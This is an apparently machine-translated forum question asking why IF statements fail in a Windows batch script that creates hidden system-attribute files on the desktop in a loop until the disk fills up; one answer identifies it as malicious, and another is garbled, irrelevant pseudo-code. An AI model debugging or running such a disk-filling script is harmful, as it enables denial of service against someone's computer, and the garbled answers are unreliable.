Welcome Guest.

3Answers

The following IF statement is not executed

Asked by: Kenneth Graham 249 views IT May 19, 2021

@echo off

cd %HOMEPATH%\Desktop

set b=1

set x=1

:1

fsutil file createnew system%b%.sys %x%

attrib +h +s system%b%.sys

set /a b=b+1

setlocal enabledelayedexpansion

set /a a=0

for /f "tokens=* delims=" %%k in ('fsutil volume diskfree c:') do (

set /a a=a+1

if !a! gtr 0 if !a! lss 2 echo %%k>>log.txt

)

for /f "delims=:( tokens=2" %%i in (log.txt) do for /f "delims=, tokens=1-8" %%a in ("%%i") do for /f "delims= tokens=*" %%l in ("%%a%%b%%c%%d%%e%%f%%g%%h") do set c=%%l

del log.txt /q

echo %c%

pause

if %c% gtr 1099511627776 set x=1099511627776 goto :1

if %c% gtr 1073741824 set x=1073741824 goto :1

if %c% gtr 1048576 set x=1048576 goto :1

if %c% gtr 1024 set x=1024 goto :1

else exit

3 Answers

  1. +8Votes  

    The FOR cycle does not add brackets to just perform the following statements. for example: IF (i = 1; i <= 10; i ++) Printf ("" Glow Great God is Ali \ N "); Printf ("Yes!"); The output is the ten lines "light gods" and a line "yes!".

    Jack- May 20, 2021 |

  2. +1Votes  

    There is no problem with the program, but it wants the system administrator privilege

    Jimmy Palmer- May 20, 2021 |

  3. +2Votes  

    There is no problem, but it wants system administrator privileges, in addition, this belongs to malicious programs (it will build in C Document, until the disk has no space), it is not recommended (do not run the program you can’t understand)

    Lawrence Hunt- May 20, 2021 |